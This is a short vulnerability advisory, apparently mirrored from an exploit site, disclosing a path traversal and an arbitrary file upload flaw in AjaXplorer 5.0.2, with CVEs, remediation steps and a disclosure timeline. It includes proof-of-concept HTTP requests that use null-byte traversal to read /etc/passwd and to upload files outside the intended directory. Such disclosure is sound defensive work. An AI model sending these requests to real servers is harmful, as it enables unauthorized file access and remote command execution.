AjaXplorer 5.0.2 Shell Upload / Traversal Vulnerability

Vendor: AjaXplorer (http://ajaxplorer.info)
Product: AjaXplorer
Version affected: 5.0.2 and prior

Product description:
AjaXplorer is an open source file sharing platform which relies on PHP and
the web interface can run on various web server software, such as Apache
and Nginx.


Finding 1: Path Traversal
*****Credit: Vikas Singhal of Trustwave SpiderLabs
CVE: CVE-2013-5688
CWE: CWE-22

A path traversal vulnerability was found in the "edit" functionality of the application.
This vulnerability may allow an attacker to view files outside the website's root directory.

The following Proof of Concept (PoC) HTTP request illustrates the same.


#Request
1. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=download&dir=%2F&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1

#Request
2. GET /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=get_content&file=/%00../%00../%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd HTTP/1.1

Finding 2: Arbitrary File Upload
*****Credit: Vikas Singhal of Trustwave SpiderLabs
CVE: CVE-2013-5689
CWE: CWE-434

Using the application's upload functionality it was possible to upload
arbitrary file outside the default directory and execute it. This may allow
an attacker to execute arbitrary commands on the web server.

Vulnerable HTTP request:

#Request
1. POST /filemanagers/ajaxplorer/index.php?secure_token=[latest token]&get_action=upload&xhr_uploader=true&dir=/%00../%00../data/ HTTP/1.1

Remediation Steps:
The vendor has released a fix to address these vulnerabilities.
Administrators should upgrade to AjaXplorer Core 5.0.3 or later.
Alternatively, administers can mitigate these vulnerabilities by applying
Web Application Firewall (WAF) rules.  ModSecurity
(http://www.modsecurity.org/) has added rules to the commercial rules feed
for these issues, and WebDefend has protections as well.


Vendor Communication Timeline:
8/29/13 - Vulnerability disclosed
9/03/13 - Patch released by vendor
9/05/13 - Advisory published

References
1. http://ajaxplorer.info/ajaxplorer-core-5-0-3/

#  0day.today [2018-01-05]  #